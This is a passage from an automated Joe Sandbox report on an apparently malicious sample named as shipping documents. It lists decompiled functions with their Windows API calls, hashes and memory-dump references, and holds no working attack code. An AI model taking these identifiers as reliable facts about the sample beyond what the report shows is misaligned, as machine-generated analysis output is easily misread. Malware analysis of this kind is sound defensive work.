                                                • Instruction ID: 78288db91a07094c689ed31fe503e84810237c1f919fc6fb6ab995d756724598
                                                • Opcode Fuzzy Hash: ba78075e6d80ee51623a076d2396bbc916ebb7f874c74d06f7b2506a898b4ea6
                                                • Instruction Fuzzy Hash: DB21C635A00104EFD714EFA9DD88AAAB7F5EF88350F148079F849D7351CA34AC41CB90
                                                Function 009A12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                Download Yara Rule
                                                APIs
                                                • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009A134D
                                                • SelectObject.GDI32(?,00000000), ref: 009A135C
                                                • BeginPath.GDI32(?), ref: 009A1373
                                                • SelectObject.GDI32(?,00000000), ref: 009A139C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ObjectSelect$BeginCreatePath
                                                • String ID:
                                                • API String ID: 3225163088-0
                                                • Opcode ID: 860612f03747bdf28a9da877a1f4cdb1f81115cfb1fbe8a6686a7ee6d86796f1
                                                • Instruction ID: e1c8f2a56cb53e3ab094b43410b6437ab7bb7a7ca390621663800030834ba587
                                                • Opcode Fuzzy Hash: 860612f03747bdf28a9da877a1f4cdb1f81115cfb1fbe8a6686a7ee6d86796f1
                                                • Instruction Fuzzy Hash: 41212830C04608EFDF11DFA9EC44B6D7BB8EB41721F148226E850979A0DBB19992EB90
                                                Function 00A04A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThreadId.KERNEL32 ref: 00A04ABA
                                                • __beginthreadex.LIBCMT ref: 00A04AD8
                                                • MessageBoxW.USER32(?,?,?,?), ref: 00A04AED
                                                • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00A04B03
                                                • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00A04B0A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
                                                • String ID:
                                                • API String ID: 3824534824-0
                                                • Opcode ID: 3a409689f4b743fe339521106ffafa009a733a5a32c4a381929bc21068eed7c5
                                                • Instruction ID: 486c14794876a57497bdca2155619a5756ebfb0f30fc456f0572970d066b9561
                                                • Opcode Fuzzy Hash: 3a409689f4b743fe339521106ffafa009a733a5a32c4a381929bc21068eed7c5
                                                • Instruction Fuzzy Hash: F911E9B6D04208BFC710DBFCAC04ADA7BBCEB49324F144275F914D3290D671C90187A1
                                                Function 009F8202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 009F821E
                                                • GetLastError.KERNEL32(?,009F7CE2,?,?,?), ref: 009F8228
                                                • GetProcessHeap.KERNEL32(00000008,?,?,009F7CE2,?,?,?), ref: 009F8237
                                                • HeapAlloc.KERNEL32(00000000,?,009F7CE2,?,?,?), ref: 009F823E
                                                • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 009F8255
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 842720411-0
                                                • Opcode ID: e356b73f6febf174bf67f96d9c6c40c2b6fd295d10c21bcace7bfca6cad5f687
                                                • Instruction ID: 2d61b28f8e436dee061d24da1569ea6f3c8806491e3619e255289bdc14044ab8
                                                • Opcode Fuzzy Hash: e356b73f6febf174bf67f96d9c6c40c2b6fd295d10c21bcace7bfca6cad5f687
                                                • Instruction Fuzzy Hash: 020162B1600208BFDB208FA9DC48DB77B7DEF857947500539F919C2120DB319C12CB60
                                                Function 009F710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,009F7044,80070057,?,?,?,009F7455), ref: 009F7127
                                                • ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,009F7044,80070057,?,?), ref: 009F7142
                                                • lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,009F7044,80070057,?,?), ref: 009F7150
                                                • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,009F7044,80070057,?), ref: 009F7160
                                                • CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,009F7044,80070057,?,?), ref: 009F716C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: From$Prog$FreeStringTasklstrcmpi
                                                • String ID:
                                                • API String ID: 3897988419-0
                                                • Opcode ID: f70bd4d476c02e608daff2b3e199531bedd2aa410658540193b331cf3097740f
                                                • Instruction ID: 89aba2bb0eb1408bbefb034f2e6a45984e0daefc9a405a493856b0db48ecd664
                                                • Opcode Fuzzy Hash: f70bd4d476c02e608daff2b3e199531bedd2aa410658540193b331cf3097740f
                                                • Instruction Fuzzy Hash: 5B017C72609208BFDB218FA8DC44ABAFBBDEB44791F140074FE04D2220D731DD569BA0
                                                Function 00A05244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A05260
                                                • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00A0526E
                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A05276
                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00A05280
                                                • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A052BC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: PerformanceQuery$CounterSleep$Frequency
                                                • String ID:
                                                • API String ID: 2833360925-0
                                                • Opcode ID: dbc2918980593e02b331ad8105a7c26edabb6203554b0f6e220ad9c7a3da23b3
                                                • Instruction ID: 0b436b1ebe892c01ddf0b700df8a1bad30606ac786054f35c3591312f91391cf
                                                • Opcode Fuzzy Hash: dbc2918980593e02b331ad8105a7c26edabb6203554b0f6e220ad9c7a3da23b3
                                                • Instruction Fuzzy Hash: 87010535D01A1DDBDF10EFE9E849AEEBB78BF0D711F410166EA45B2280CB3055628BA5
                                                Function 009F810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 009F8121
                                                • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 009F812B
                                                • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009F813A
                                                • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 009F8141
                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009F8157
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 44706859-0
                                                • Opcode ID: 302d4d340aeec081bba63031b57909f5eccbec02bec51be3b2c015ade4add8bb
                                                • Instruction ID: eb7bda9b1ea2f3d6258876f77db29d1ec6e6beaefb1aa023ec3a5505a21d1196
                                                • Opcode Fuzzy Hash: 302d4d340aeec081bba63031b57909f5eccbec02bec51be3b2c015ade4add8bb
                                                • Instruction Fuzzy Hash: 64F04FB1304308AFEB614FA9EC88E773BBCEF49B58B000135FA45C6150DB619953DB60
                                                Function 009FC1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDlgItem.USER32(?,000003E9), ref: 009FC1F7
                                                • GetWindowTextW.USER32(00000000,?,00000100), ref: 009FC20E
                                                • MessageBeep.USER32(00000000), ref: 009FC226
                                                • KillTimer.USER32(?,0000040A), ref: 009FC242
                                                • EndDialog.USER32(?,00000001), ref: 009FC25C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                • String ID:
                                                • API String ID: 3741023627-0
                                                • Opcode ID: 7f920093245ebfd17b9ea92f3117aada7c090a03f092848b059f84e4a1d0755f
                                                • Instruction ID: 93ed9395a3e565c32768593f3dedf0836f1f7666e717d4f49b474167c820b060
                                                • Opcode Fuzzy Hash: 7f920093245ebfd17b9ea92f3117aada7c090a03f092848b059f84e4a1d0755f
                                                • Instruction Fuzzy Hash: 4901677050470CABEB309B94DD4EFF67778FB00B05F00467DB652A14E1D7E4A9599B90
                                                Function 009A13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                Download Yara Rule
                                                APIs
                                                • EndPath.GDI32(?), ref: 009A13BF
                                                • StrokeAndFillPath.GDI32(?,?,009DB888,00000000,?), ref: 009A13DB
                                                • SelectObject.GDI32(?,00000000), ref: 009A13EE
                                                • DeleteObject.GDI32 ref: 009A1401
                                                • StrokePath.GDI32(?), ref: 009A141C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Path$ObjectStroke$DeleteFillSelect
                                                • String ID:
                                                • API String ID: 2625713937-0
                                                • Opcode ID: 4c00b1c58bce18cf4e0dbe435be8ae20f1ed2af83d676855202b6371d7fea100
                                                • Instruction ID: a8a1a3b442e422a60937854c93f7969d6e0188b800f76c0fc71b51fe9a6c132d
                                                • Opcode Fuzzy Hash: 4c00b1c58bce18cf4e0dbe435be8ae20f1ed2af83d676855202b6371d7fea100
                                                • Instruction Fuzzy Hash: 27F0CD30408608DFDB25DFAAED4C7683BF9AB42326F088234E5694A4F1D7754597EF50
                                                Function 00A0C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CoInitialize.OLE32(00000000), ref: 00A0C432
                                                • CoCreateInstance.OLE32(00A32D6C,00000000,00000001,00A32BDC,?), ref: 00A0C44A
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                • CoUninitialize.OLE32 ref: 00A0C6B7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateInitializeInstanceUninitialize_memmove
                                                • String ID: .lnk
                                                • API String ID: 2683427295-24824748
                                                • Opcode ID: 54526162fac3a92cab9cee15304396973b1abe33b6774209f6f41658c3cb97d1
                                                • Instruction ID: bcffb10987cd5ba1cae756efbb868767a038c1a76ac04ad742d575a3e53ca72c
                                                • Opcode Fuzzy Hash: 54526162fac3a92cab9cee15304396973b1abe33b6774209f6f41658c3cb97d1
                                                • Instruction Fuzzy Hash: 4AA11A71204205AFD700EF64C881EABB7E8FFD5358F00492DF5559B1A2EB71EA49CB92
                                                Function 009B2CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009C0DB6: std::exception::exception.LIBCMT ref: 009C0DEC
                                                  • Part of subcall function 009C0DB6: __CxxThrowException@8.LIBCMT ref: 009C0E01
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                  • Part of subcall function 009A7A51: _memmove.LIBCMT ref: 009A7AAB
                                                • __swprintf.LIBCMT ref: 009B2ECD
                                                Strings
                                                • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 009B2D66
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
                                                • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                • API String ID: 1943609520-557222456
                                                • Opcode ID: 1f1c7cf05539102f7183b6e27f92d1d6a9ad4b4cd1aec0dddad58e75721f33b7
                                                • Instruction ID: f7735b0a06e929d7541a831cf88d827f8f97656031560c5f97e10517f2f8dee3
                                                • Opcode Fuzzy Hash: 1f1c7cf05539102f7183b6e27f92d1d6a9ad4b4cd1aec0dddad58e75721f33b7
                                                • Instruction Fuzzy Hash: A1917C715083019FC715EF64C986EAFB7A8EFD6360F04491DF4869B2A1EA30ED44CB92
                                                Function 00A0B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009A4743,?,?,009A37AE,?), ref: 009A4770
                                                • CoInitialize.OLE32(00000000), ref: 00A0B9BB
                                                • CoCreateInstance.OLE32(00A32D6C,00000000,00000001,00A32BDC,?), ref: 00A0B9D4
                                                • CoUninitialize.OLE32 ref: 00A0B9F1
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                • String ID: .lnk
                                                • API String ID: 2126378814-24824748
                                                • Opcode ID: f263242ac062323e82c21fbb76d04a622ec15b5e8304a11264c253aae058f2d5
                                                • Instruction ID: 5b8c70be2d55d6e31eba3b3bfb82c2568c50d6841028973a425dd3f68fc74d86
                                                • Opcode Fuzzy Hash: f263242ac062323e82c21fbb76d04a622ec15b5e8304a11264c253aae058f2d5
                                                • Instruction Fuzzy Hash: 92A158756043059FCB10DF18C984E6AB7E5FF8A314F158998F8999B3A1CB31EC46CB91
                                                Function 009C501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                Download Yara Rule
                                                APIs
                                                • __startOneArgErrorHandling.LIBCMT ref: 009C50AD
                                                  • Part of subcall function 009D00F0: __87except.LIBCMT ref: 009D012B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorHandling__87except__start
                                                • String ID: pow
                                                • API String ID: 2905807303-2276729525
                                                • Opcode ID: a2331363e1fc2ef757b898bd41a7d6aecf8aa10ccb60f2b80d2d3b416fc28082
                                                • Instruction ID: 4f731b9a23af6d8d3f0cdf56ebf1affc5716b99cc121cc466fcc4954065a9067
                                                • Opcode Fuzzy Hash: a2331363e1fc2ef757b898bd41a7d6aecf8aa10ccb60f2b80d2d3b416fc28082
                                                • Instruction Fuzzy Hash: 88516A61D4D60296DB11FB24CC05B6E2B98ABC0740F24CD5EF4E9C63A9DE389DC59B83
                                                Function 009B6192 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memset$_memmove
                                                • String ID: ERCP
                                                • API String ID: 2532777613-1384759551
                                                • Opcode ID: 4e1fecfa7a3a2bec21e891d3d38520b75c0e157a4181721c7707fe5b553c6d17
                                                • Instruction ID: 87fd0d96f1741f5719eca3a2c860b3cd94359a36cd38397eb49aeb5034dc10e0
                                                • Opcode Fuzzy Hash: 4e1fecfa7a3a2bec21e891d3d38520b75c0e157a4181721c7707fe5b553c6d17
                                                • Instruction Fuzzy Hash: 4B51A171900309DBDB24CFA5C941BEAB7F8EF44314F20496EE95ACB281E778AA54CB40
                                                Function 00A27946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00A2F910,00000000,?,?,?,?), ref: 00A279DF
                                                • GetWindowLongW.USER32 ref: 00A279FC
                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A27A0C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Long
                                                • String ID: SysTreeView32
                                                • API String ID: 847901565-1698111956
                                                • Opcode ID: 07f3d913f3ed88db6f784233bdb0d1c8c7051aedce696ddd0c34e27de91e79e0
                                                • Instruction ID: 96da8e75ca6f185d1b1e32fea7a628d407f36ac19ce6fb4662451ec150809b5e
                                                • Opcode Fuzzy Hash: 07f3d913f3ed88db6f784233bdb0d1c8c7051aedce696ddd0c34e27de91e79e0
                                                • Instruction Fuzzy Hash: 5931BC31204216AFDB218F38EC41BEA77A9FB49334F204735F875A22E0D730EA918B50
                                                Function 00A273D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00A27461
                                                • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00A27475
                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00A27499
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window
                                                • String ID: SysMonthCal32
                                                • API String ID: 2326795674-1439706946
                                                • Opcode ID: 3edb2ae75a70fd3e41f88d46cf9c6c724869ea1522054d29c171a5ef473ea0a1
                                                • Instruction ID: 9e49a4f6f2c06f479493bb335fc49ec493d5fbd0bd3f8d54100c423562b94345
                                                • Opcode Fuzzy Hash: 3edb2ae75a70fd3e41f88d46cf9c6c724869ea1522054d29c171a5ef473ea0a1
